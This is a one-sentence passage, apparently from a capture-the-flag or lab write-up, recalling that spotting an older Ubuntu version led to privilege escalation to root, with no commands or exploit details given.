For root, always remember to check the basic things, I’m pretty sure early on we noted it was an older version of Ubuntu, which led us quickly(ish) to the priv esc!